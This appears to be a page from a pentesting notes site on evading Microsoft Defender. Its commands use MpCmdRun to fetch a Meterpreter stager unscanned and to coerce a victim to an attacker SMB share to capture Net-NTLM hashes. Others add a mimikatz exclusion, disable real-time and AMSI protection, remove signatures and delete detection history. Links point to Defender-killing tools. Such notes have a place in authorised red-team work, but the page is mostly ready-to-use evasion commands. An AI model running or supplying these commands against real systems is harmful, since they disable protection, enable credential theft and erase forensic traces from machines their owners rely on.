> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/infrastructure/ad/av-edr-evasion/defender.md).

# Defender

* <https://github.com/0xsp-SRD/MDE_Enum>

Download stager without triggering Defender to scan it:

```
Cmd > "C:\Program Files\Windows Defender\MpCmdRun.exe" -DownloadFile -Url http://127.0.0.1/met.exe -Path C:\Users\user\music\met.exe
```

Coerce the victim machine to reach the attacker (to steal Net-NTLM):

```
Cmd > "C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File '\\10.10.13.37\share\file'
```

## Exclusions

* <https://blog.fndsec.net/2024/10/04/uncovering-exclusion-paths-in-microsoft-defender-a-security-research-insight/>
* <https://github.com/Friends-Security/SharpExclusionFinder>

Add path to exclusions:

```
PS > $mimi = "C:\Users\user\music\mimi\x64\mimikatz.exe"
PS > Add-MpPreference -ExclusionPath $mimi [-AttackSurfaceReductionOnlyExclusions $mimi]
```

Test path for an exclusion:

```
PS > & "C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File "C:\folder_to_check\|*"
```

## Disable Defender

* <https://github.com/mandiant/commando-vm#pre-install-procedures>
* <https://github.com/swagkarna/Defeat-Defender-V1.2>
* <https://github.com/APTortellini/DefenderSwitch>
* <https://github.com/dosxuz/DefenderStop>
* <https://gist.github.com/fiercebrute/46e0636c0eaf72dcd3df4e280b6792d6>
* <http://www.wxxy-sec.com/?p=154>
* gpedit.msc > *Administrative Templates* > *Windows Components* > *Microsoft Defender Antivirus* > *Real-time Protection* > *Turn off real-time protection* > *Enabled* ✔
* gpedit.msc > *Administrative Templates* > *Windows Components* > *Microsoft Defender Antivirus* > *Turn off Microsoft Defender Antivirus* > *Enabled* ✔

Disable real-time protection (proactive):

```
PS > Set-MpPreference -DisableRealTimeMonitoring $true
```

Disable scanning all downloaded files and attachments, disable AMSI (reactive):

```
PS > Set-MpPreference -DisableIOAVProtection $true
```

Remove signatures (if Internet connection is present, they will be downloaded again):

```
PS > cd "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0"
PS > .\MpCmdRun.exe -RemoveDefinitions -All
Or
Cmd > "%PROGRAMFILES%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
```

Clear threats history manually:

```
Cmd > del /S "C:\ProgramData\Microsoft\Windows Defender\Scans\History\Service\DetectionHistory\*"
```

## Lower Token Integrity

* <https://elastic.github.io/security-research/whitepapers/2022/02/02.sandboxing-antimalware-products-for-fun-and-profit/article/>
* <https://github.com/plackyhacker/SandboxDefender>
* <https://github.com/pwn1sher/KillDefender>
* <https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools>

## Windows Security Center API (WSC)

* <https://blog.es3n1n.eu/posts/how-i-ruined-my-vacation/>
* <https://github.com/es3n1n/defendnot>

## defendnot

* <https://github.com/es3n1n/defendnot>
* <https://www.huntress.com/blog/defendnot-detecting-malicious-security-product-bypass-techniques>


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